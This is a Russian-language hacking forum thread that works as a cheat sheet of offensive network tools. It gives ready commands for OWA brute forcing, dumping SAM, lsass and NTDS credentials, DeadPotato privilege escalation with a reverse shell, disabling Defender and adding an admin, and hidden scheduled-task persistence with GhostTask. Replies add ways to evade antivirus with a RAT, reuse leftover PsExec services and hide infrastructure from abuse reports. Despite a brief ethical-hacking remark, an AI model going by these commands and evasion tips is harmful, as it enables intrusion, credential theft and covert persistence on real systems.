LIMB
Вход Регистрация

тема

Утилиты для работы в сетях

sup · · 19 ответов · 717 просмотров

Всем салам! Надеюсь вам понравились мои статьи по сетям. Решил отдельной темой выделить софт, утилиты, эксплоиты которые использовались с кратким описанием. Вы можете дополнять данную шпаргалку в комментариях. Разделим пожалуй софт на несколько категориий

C2 фреймворки

Не удалось прогрузить медиа


Не удалось прогрузить медиа



TeamViewer, Havoc, BRc4, Am0n-Eye, Metasploit, CS, Night Hawk, Manjusaka, Empire, Covenant, Sliver, Khepri, PoshC2, Nimplant, SilentTrinity, C3 (WithSecure), Mythic, Merlin

Я лично использовал Havoc и Sliver.

Havoc - отличный C2, траблов с ним не было. Но не понравился из-за сложной установки и весит много. Большое комьюнити, фреймворк активно развивается. Есть даже инструкции как написать своего агента на питоне.
Sliver - говно редкостное в плане удобства, шелл интерактивный не всегда дает получить. Зато прост в установке (устанавливается 1 командой, есть в репозиториях kali). Это хороший вариант для учебы на виртуалках.

ВНЕШНИЙ ПЕРИМЕТР И СБОР ИНФОРМАЦИИ

Спойлер: сбор поддоменов сайта
пассивное сканирование


	

	
		
			
				
					
						
					
				
			
			
				
					
						DNSDumpster - Find & lookup dns records for recon & research
					
				

				Free domain research tool to discover hosts related to a domain. Find visible hosts from the attackers perspective for Red and Blue Teams.

				
					
						
							
						
					
					dnsdumpster.com
				
			
		
	

	

	
		
			
			
				
					
						Subdomain Finder - C99.nl
					
				

				Subdomain Finder is a scanner that scans an entire domain to find as many subdomains as possible.

				
					
						
							
						
					
					subdomainfinder.c99.nl
				
			
		
	

	

	
		
			
				
					
						
					
				
			
			
				
					
						Сайты на одном IP
					
				

				Узнать сайты, размещенные на одном IP адресе. Найти сайты с одинаковым IP адресом. IP

				
					
						
							
						
					
					2ip.ru
				
			
		
	

	

	
		
			
				
					
						
					
				
			
			
				
					
						Узнать поддомены сайта | Найти поддомены онлайн - Be1.ru
					
				

				Сервис поможет быстро составить список всех проиндексированных поисковыми системами поддоменов сайта, который пригодится для дальнейшего его анализа.

				
					
						
							
						
					
					be1.ru
				
			
		
	

	

	
		
			
			
				
					
						Online Subdomain finder using Sublist3r,DNscan,Nmap,Anubis,Amass,Lepus,Knockpy. Discover subdomains with hosted real tools
					
				

				Online Subdomain finder using Sublist3r,DNscan,Nmap,Anubis,Amass,Lepus,Knockpy. Discover subdomains with hosted real tools

				
					
						
							
						
					
					www.nmmapper.com
				
			
		
	

	
		
			https://api.subdomain.center/?domain=
		
	

	

	
		
			
			
				
					
						crt.sh | Certificate Search
					
				

				Free CT Log Certificate Search Tool from Sectigo (formerly Comodo CA)

				
					
						
					
					crt.sh
				
			
		
	
securitytrails - обширный список поддоменов имеет



активное сканирование (шумим)



findomain

subfinder

assetfinder

amass

проверить поддомены на доступность

knock
Aquatone
httpx

словари

https://wordlists.assetnote.io - Помимо автоматически сгенерированных, на сайте есть словари сгенерированные с помощью Google BigQuery. Очень классно! 

CrackStation's Password Cracking Dictionary (Pay what you want!)

Download CrackStation's password cracking wordlist.
crackstation.net
ПЕРВОНАЧАЛЬНЫЙ ДОСТУП

exchange


утилиты для работы с exchange(owa): auxiliary/scanner/http/owa_login;mailsniper;PyMailSniper

дамп GAL с помощью MailSniper.ps

Bash:
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\user -Password Qwerty123$ -OutFile GAL.txt

брут owa через ruler. Еще можно использовать Burp Suite Pro, фаззеры.

Code:
ruler --domain student.local -k brute --users users.txt --pass.txt -v

Атаки на owa(exchange) используются с целью получения доменных учеток. А если сдампить GAL, то можно понять принцип формирования имени в домене и найти те учетки у которых нет почтового ящика. Часто в owa бывают секреты, персональные данные, креды. Также используются аккаунты owa для фишинга.

У impacket есть отдельный модуль exchanger с помощью него тоже можно извлекать GAL. Подробнее про impacket тут: https://habr.com/ru/companies/ruvds/articles/743444/

impacket-exchange работает через RPC. MailSniper через HTTP парсит ответ от сервера.

У пользователя RalphHacker есть хороший репозиторий с утилитами для пентеста exchange: https://github.com/RalfHacker/ExchangeCheckPack/tree/main

mitmproxy, макросы, сброс NTLM хэшэй через impacket-smbserver про них расписывать не буду.


rdp
При включенном Restricted Admin можно произвести pass-the-hash. Подробнее читайте тут: https://www.securitylab.ru/analytics/450325.php
xfreerdp /v:127.0.0.1 /d:student.local /u:user /p:'Password123'
netexec/crackmapexec тоже поддерживает rdp.

rdp - это то место куда бьют чаще всего, чтобы получить первоначальный доступ и продать. RDP BRUTE стоит конских денег.


ПОВЫШЕНИЕ ПРИВИЛЕГИЙ 

\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ - тут история команд powershell. Можно найти учетки или любую другую информацию, которая поможет нам в повышении привилегий.
SharpUp.exe audit
DLL Hijacking ( поможет ProcMon выявить DLL`ку которую мы можем подгрузить и получить сессию для c2)
SeImpersonatePrivilege привилегия если включена, то пробуем использовать GodPotato или SigmaPotato
SeDebugPrivilege привилегия если включена, то гуглим exploit. Больше информации про опасные привилегии тут: https://github.com/gtworek/Priv2Admin
NetworkServiceExploit - очень сильно меня выручала в тасках. Получал систему.
ДАМП УЧЕТНЫХ ДАННЫХ

Не удалось прогрузить медиа

GitHub - zblurx/dploot: DPAPI looting in Python

DPAPI looting in Python. Contribute to zblurx/dploot development by creating an account on GitHub.
Не удалось прогрузить медиа
github.com
учетки с браузера

firepwd (moziila)

дамп sam (локальные учетки)

reg save HKLM\SAM C:\Windows\Tasks\sam и reg save HKLM\SYSTEM C:\Windows\Tasks\system. Далее impacket-secretsdump -sam samantha.txt -system system.txt LOCAL


lsass dump

nanodump --valid --write c:\windows\Tasks\dump.dmp

pypykatz lsa minidump dump.dmp

дамп ntds

ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\tmp\NTDS" quit quit

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Если у нас есть домейн админ, то с помощью netexec опция --ntds также сдампим.
ТУННЕЛИРОВАНИЕ ТРАФФИКА

chisel и ligolo и другая шляпа для ctf=))))

СОБИРАЕМ ИНФОРМАЦИЮ ИЗ ДОМЕНА

PowerView
SharpView
SharpHound.exe -c All --memcache --zipfilename full.zip
--bloodhound модуль в netexec



СОФТ КОТОРЫЙ НЕ ПОПАЛ ПОД КАТЕГОРИИ ВЫШЕЕ 
👍69 ❤️12 🔥17 😢7 💯9
Что касаемо бэкапов. Если вы провели аудит и нашли чувствительную информацию, которую в последствии нужно передать заказчику (если вам дали разрешение) мы ж все таки этичные хакеры, а не х*й кто=)))) То проще всего сначала на сервере заархивировать необходимые файлы используя aes256+salt или любой другой алгоритм надежный. А далее уже можно передать этот архив в облако. Для этого можно использовать бакеты. Просто обывателю наверное не понятно что такое бакет. Иными словами - это контейнер для хранения объектов. Объекты иными словами - это наши файлы. Если используется s3, то это значит формат ключ значение. Ключ - это путь до нашего файла, а значение содержимое. Как-то так.

https://wasabi.com/try-free - есть пробный период. Достаточно просто зарегать учетку и вы сможете пользоваться 30 дней бесплатно, исходящий траффик бесплатный.
cloudflare R2 тоже нормальная темка, но вот только вам придется потратить пару соток рублей чтобы вам ввели карту иностранную для получения доступа к созданию бакетам и апишке. Исходящий траффик тоже бесплатный.

Используйте restic или rclone. Конфигурацию настроить не сложно.

Что касаемо обычных облачных сервисов, то рекомендую mega.nz если вы что-то загружаете на этот форум то лучше используйте его, а не какие нибудь dropmefiles, где удаляются данные.

https://developers.cloudflare.com/r2/examples/rclone/ - как настроить rclone для r2 cloudflare. Предельно просто и понятно.
https://docs.wasabi.com/docs/how-do-i-use-rclone-with-wasabi - как настроить rcloce конфиг для wassabi.

И да хакеры используют R2 если что=) https://xakep.ru/2023/08/17/cloudflare-r2-phishing/
👍2
cloudflare - это гигант, услугами которого пользуются как злоумышленники(хакеры) так и простые работяги, чтобы защитить свои ресурсы. Любой адекватный хацкер должен спрятать надежно айпи за клаудом, чтобы хрен кто не мог накидать абузов хостеру, пусть сначала найдет кому писать.

https://github.com/cloudflare/cloudflared - есть вот такая херовина от клауда. Создается туннель и вас не просканит какой нибудь шодан или ценсус, напрямую по айпи нельзя будет ходить вне сети клауда. Такие вот дела. Но я не сторонник подобных скриптов. Можно тоже самое сделать куда проще и хотя бы понимать будешь че ты делаешь, а не тупо скачивать готовые скрипты.

https://www.cloudflare.com/ru-ru/ips/ - берем эти пуллы айпишников. Вся инфра клауда работает через них, R2 в том числе. nginx конфиг настраиваем так, чтобы доступ был ток через эти ip. gpt попросите он сделает все за вас=). Это L7. Дополнительно настройте iptables, но лучше конечно другой современный фаервол чтобы порты все были закрыты,  кроме пулла клауда. SSH разрешите ток для своего айпи.

Готово. Теперь вы знаете почему вы не можете найти реальный айпи адрес сайта, если даже просканируете весь интернет. Любой нормальный сисадмин позаботиться, потратит день чтобы с этим разобраться. 

И да, думаю теперь понятно почему многие организации используют cloudflare R2. Дело в том, что если сервер ходит через пулл айпи клауда, то какой нибудь вассаби юзать не вариант, надо порт открывать и тд вообщем не безопасно=) проще р2 использовать раз уж настроили все по сети клауда
👍1
Ответstudent

cloudflare - это гигант, услугами которого пользуются как злоумышленники(хакеры) так и простые работяги, чтобы защитить свои ресурсы. Любой адекватный хацкер должен спрятать надежно айпи за клаудом, чтобы хрен кто не…

Все  известные C2 уже давно известны всем AV и при попытке залить какой либо shell, получим alert по системе  + SOC, который бдит. Так что как вы написали выше берем cloudflare и устраиваем свои танцы с бубном с shell, даже если там стоит простой Defender. Это просто как дополнение.
👍5 🔥1
Еще один "картофельный" вариант - https://github.com/lypd0/DeadPotato (подсказал куратор на курсе codeby,netO
deadpotato.exe -cmd "whoami"
deadpotato.exe -rev 192.168.10.30:9001
deadpotato.exe -exe paylod.exe
deadpotato.exe -newadmin adm:pass
deadpotato.exe -shell
deadpotato.exe -mimi sam
deadpotato.exe -defender off
deadpotato.exe -sharphound
👍3
Ответstudent

Еще один "картофельный" вариант - https://github.com/lypd0/DeadPotato (подсказал куратор на курсе codeby,netO deadpotato.exe -cmd "whoami" deadpotato.exe -rev 192.168.10.30:9001 deadpotato.exe -exe paylod.exe…

жаль, что в моем случае это не сработает, AV его грохнет при первом же старте...
👍1
Ответstudent

https://github.com/MzHmO/Exploit-Street сборка эксплоитов начиная с 2023 года

знакомая репа))
👍3
Ответraspberry

жаль, что в моем случае это не сработает, AV его грохнет при первом же старте...

ну там открытый исходный код наверное можно обфусцировать
👍1
Ответstudent

ну там открытый исходный код наверное можно обфусцировать

можно, только сигнатуру еще ни кто не отменял.
PsExec загружает на удаленный хост исполняемый файл 10-ти летней давности и создает службу, которая его запускает от имени системы - для этого и необходимы права администратора.


Сам файл в свою очередь это бинарь из https://github.com/kavika13/RemCom/, хранимый в виде хекса в Импакете.


При запуске он поднимает пайп RemCom_Communication и после подключения со стороны Импакета к этому пайпу создается еще три: RemCom_stdin*, RemCom_stdout* и RemCom_stderr*, через которые уже и ведется дальнейшее выполнение команд и передача вывода. При нормальном выходе (через exit) будет выполнена зачистка - остановлена служба, удалены файл и служба, в результате чего пайпы удалятся.





Однако если из командной оболочки выйти "классическим" способом через Ctrl+C, то зачистка не происходит - в системе продолжает висеть запущенный сервис и наш бинарь. Будет висеть до следующей перезагрузки компа, поскольку сервис создается без автостарта.





Это можно использовать для повторной компрометации машины с низкопривилегированной УЗ. 


Готовый скрипт лежит тут: https://github.com/MzHmO/psexec_noinstall 


По сути, мы просто пропускаем этап установки службы и сразу переходим к работе с имеющимися пайпами.





Для обнаружения уязвимых хостов написал модуль для NetExec - https://github.com/beaverdreamer/nxc-modules


Принцип работы прост: мы с предоставленной учеткой запрашиваем доступные пайпы (через IPC$) и выводим сообщение, если в списке видим RemCom_communication.





Стоит подсветить, что это имя пайпа можно изменить, и если оно было изменено, то этот модуль не сработает.





Учитывая, что сервис не поднимается после рестарта ПК, то имеет смысл запускать на инфраструктуре после недавнего пентеста, либо на скоупе постоянно работающих серверов.
Иногда что-нибудь ценное можно найти на шарах (файлы с кредами, персональные данные, какие-то пруфы реализации целей пентеста), для этих целей можно использовать скрапперы:


PowerView:


Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*

Либо Snaffler (C#) (https://github.com/SnaffCon/Snaffler)

Python: https://github.com/blacklanternsecurity/MANSPIDER

Оба умеют искать и по названию файлов, и по содержимому.

С точки зрения OpSec это шумно - куча коннектов и попыток аутентификации на все шары в сети, а потому такой подход пойдет, когда нет задачи скрываться.

Более скрытный вариант использования - это запускать инструменты для локального поиска файлов. С точки зрения событий это будет просто поиск файлов в системе.

./Snaffler.exe -i C:\ -s

Ссылки:

- https://www.thehacker.recipes/ad/movement/credentials/dumping/network-shares
- Порт снаффлера на питон https://github.com/asmtlab/snafflepy
Закрепление через планировщик задач не ново, за отслеживание изменений в тасках отвечают события 4698-4702. 


Нам необходимы права системы.

Функционал реализован в https://github.com/netero1010/GhostTask:


- Создание скрытых задач без генерации событий

- Изменение существующих задач без генерации событий

- Удаленное и локальное выполнение

- Выполнение в контексте C2 через исполнение PE в памяти (memexec)


Например, если мы хотим создать задачу, которая будет выполняться от имени Administrator каждую минуту:


GhostTask.exe localhost add beaver "cmd.exe" "/c notepad.exe" Beaver.lab\Administrator second 60
👍1
Не удалось прогрузить медиа
Предположим, что мы попали в сеть в какой-то рандомный сегмент сети на не доменную машину и нам необходимо понять куда дальше двигаться.


Есть вариант просканировать все частные диапазоны, но это недостаточно детально, поэтому первоочередной задачей - понять какие сегменты вообще живые.



Способы ниже основаны на предположениях и гипотезах, так что нужно адаптировать под конкретную ситуацию - я лишь расскажу о своих подходах. Под OPSec адаптируйте сами =))


Из тех способов, что известны мне и использую:


- ARP


- Поиск шлюза и определение других живых сетей при помощи Ping-Scan'a


- Скан типовых портов по всей сети


- DNS (recon + transfer zone)

ARP - используем для разведки в широковещательном сегменте сети.


Можно воспользоваться https://github.com/royhills/arp-scan для сканирования локального сегмента сети. В качестве результата получим перечень живых хостов: их IP- и ARP-адреса, производителя (по маку). Полезно проверять не только сегмент, в котором вы находитесь прям сейчас (условный 192.168.1.0/24), но и другие известные диапазоны сети. Если сети разделены только логически (но подключены в один порт), можно встретить другие устройства, встречал такое в сегментах АСУ ТП.


Пример команды:


arp-scan -I eth0 192.168.86.0/24


Поиск шлюза и определение других живых сетей при помощи Ping-Scan'a


Так же можно узнать в сетевой конфигурации адрес шлюза (часто используют либо .1, либо .254 в случае с /24 сетью) и просканировать всю сеть (частные диапазоны) на предмет наличия ответа по ICMP.  Намеренно опускаю случаи более мелких сетей, потому что тут можно закопаться.


В результате можно считать, что там где прилетел пинг - эти сегменты живые и далее сканировать их целенаправленно.


Для примера если все шлюзы расположены на .1:


nmap -sn -n -oN all_gws.txt 192.168.0-255.1 10.0-255.0-255.1 172.16-31.0.1


Альтернативный способ предыдущему - сканировать всю сеть на типовые порты. Например, 22, 53, 80, 445.


Времязатратнее, но сработает в том случае, если ICMP-пакеты внутри сети ограничены (редкий случай, но все же).


Для всех трех частных диапазонов тебе понадобится примерно 5 часов на сканирование одного порта при рейте 1000 p/s


Можно сделать либо массканом (локальную сеть не просканирует), либо при помощи Nmap с настройками на оптимизацию скорости:


nmap -Pn --privileged --min-rtt-timeout 50ms --initial-rtt-timeout 300ms --max-retries 2 --host-timeout 15m -p T:80,22 10.0.0.0/8





Если все же во время поисков портов удалось найти какой-то DNS сервер (или он прилетел по DHCP), то хватаем https://github.com/darkoperator/dnsrecon и используем его для:


- Попытки выгрузки зоны (можно взять либо из домена поиска в DHCP, либо из имен компьютеров в локальной сети): 


dns -d <domain> -t axfr


- Перебора PTR записей при помощи следующей команды: 


dnsrecon -n <Адрес DNS-сервера> -r 192.168.0.0/16
👍1
Не удалось прогрузить медиа

GitHub - m8sec/pymeta: Utility to download and extract document metadata from an organization. This technique can be used to identify: domains, usernames, software/version numbers and naming conventions.

Utility to download and extract document metadata from an organization. This technique can be used to identify: domains, usernames, software/version numbers and naming conventions. - m8sec/pymeta
Не удалось прогрузить медиа
github.com


Этот скрипт в качестве вводных данных берет адрес домена, далее идет в поисковики и ищет через дорки на нем файлы, далее их скачивает и собирает метаданные в csv файл. Поддерживает форматы pdf, xls, xlsx, csv, doc, docx, ppt, pptx.



Не удалось прогрузить медиа

GitHub - ElevenPaths/FOCA: Tool to find metadata and hidden information in the documents.

Tool to find metadata and hidden information in the documents. - ElevenPaths/FOCA
Не удалось прогрузить медиа
github.com


Эта тулза смотрит один или несколько файлов и проводит анализ (работает только на винде). Поддерживает форматы Microsoft Office, Open Office, и PDF.
👍5 ❤️1
Сборник типовых LDAP-запросов, которые можно использовать для разведки корпоративной инфре.


Пригодится для ручного сбора информации, если есть корректная УЗ или LDAP доступен без аутентификации. 


Из тех что показались интересными:


- Получение перечня серверов (имена хостов)


- Поиск аккаунтов с SPN записями, УЗ для керберостинга.


- Различные виды делегирования


- УЗ с отключенным параметром Pre-Auth в Kerberos (ASREP-Roast)


- Получение перечня УЗ без пароля (перезаписывает групповую политику) - эти УЗ будут иметь пустые пароли.


- Получение перечня УЗ, которым необходимо сменить пароль после входа. Такие УЗ, как правило, имеют стандартный пароль или протухшний пароль.


Всю эту информацию собирает бладхаунд, часть этой информации можно получить в графическом интерфейсе, а часть - в результате разбора JSON-файлов. Эта информация полезна тогда, когда автоматизированный способ не подходит.

Статья с примерами запросов: 


Не удалось прогрузить медиа

LDAP Queries for Offensive and Defensive Operations

The intention of this post is to provide basic queries for targeted AD DS information gathering used in penetration testing. The reader can
Не удалось прогрузить медиа
www.politoinc.com



В этой статьей чуть глубже разобраны механизмы формирования запросов к LDAP вручную (ну и примеры тоже, куда без них):


Не удалось прогрузить медиа

An Introduction to Manual Active Directory Querying with Dsquery and Ldapsearch

Introduction
Не удалось прогрузить медиа
posts.specterops.io


В этой статье рассказано про УЗ с пустыми паролями:


Не удалось прогрузить медиа

Find AD accounts using Password-Not-Required (blank password)

An AD user account with password-not-required or blank password is easy to compromise. What tools can be used to find these accounts?
Не удалось прогрузить медиа
specopssoft.com
Ответstudent

ну там открытый исходный код наверное можно обфусцировать

и к стати по поводу обфурскации, хотелось еще добавить, что она не всегда работает корректно, а в большенстве случаев AV распознает обфурскацию и убивает shell.
как говориться знаю из опыта.
Не удалось прогрузить медиа


в NetExec добавили аутентификацию по сертификату... классно же)

https://www.netexec.wiki/smb-protocol/get-and-put-files - кстати удобные опции для загрузки и выгрузки файлов о которых мало кто знает.


Не удалось прогрузить медиа
👍2
Ответraspberry

можно, только сигнатуру еще ни кто не отменял.

 Еще самое главное, чтобы никто не заливал на VT файл, а пользовался check zilla и более приватными сервисами. Так как после таких манипуляций, спустя полчаса, твоя крыса будет палыхать
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.